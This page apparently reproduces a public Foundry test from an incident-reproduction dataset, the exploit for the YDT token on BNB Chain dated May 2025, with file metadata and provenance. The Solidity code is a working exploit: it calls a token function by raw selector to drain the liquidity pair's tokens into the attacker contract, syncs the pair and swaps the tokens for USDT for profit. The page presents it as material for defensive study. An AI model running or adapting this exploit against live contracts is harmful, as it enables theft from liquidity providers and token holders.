Public reproduction file
src/test/2025-05/YDTtoken_exp.sol
Public reproduction file for dataset entry YDT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED3import "../interface.sol";4import "forge-std/Test.sol";7pragma solidity ^0.8.13;10contract ContractTest is Test {12 address USDT = 0x55d398326f99059fF775485246999027B3197955;13 address YDT= 0x3612e4Cb34617bCac849Add27366D8D85C102eFd;14 address taxmodule =0x013E29791A23020cF0621AeCe8649c38DaAE96f0;15 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);16 address Pair=0xFd13B6E1d07bAd77Dd248780d0c3d30859585242;17 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));20 function setUp() public {21 vm.createSelectFork("bsc", 50273545);22 }24 function testExploit() public {25 uint256 amount=IERC20(YDT).balanceOf(address(Pair));27 address(YDT).call(abi.encodeWithSelector(bytes4(0xec22f4c7),address(Pair),address(this),amount - 1000*1e6,address(taxmodule)));29 address(Pair).call(abi.encodeWithSelector(bytes4(0xfff6cae9))); 30 address[] memory path = new address[](2);31 path[0] = address(YDT);32 path[1] = address(USDT); 33 IERC20(YDT).approve(address(Router),type(uint256).max);34 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(35 IERC20(YDT).balanceOf(address(this)) / 10,36 0,37 path,38 address(this),39 block.timestamp +20040 );43 emit log_named_decimal_uint("Profit in ", IERC20(USDT).balanceOf(address(this)), 18);45 }47 receive() external payable {}49}Analysis
Dataset entry
Public Foundry test for “YDT” (2025-05-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
- src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
- src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
- src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
- src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- YDT
- Path
- src/test/2025-05/YDTtoken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 45b1f5d1cb46e1cd89733ed61bfcb9bdc7df334b
- Language
- Solidity
- Size
- 52 lines
- Date
- 2025-05-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/YDTtoken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 45b1f5d1cb46e1cd89733ed61bfcb9bdc7df334b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.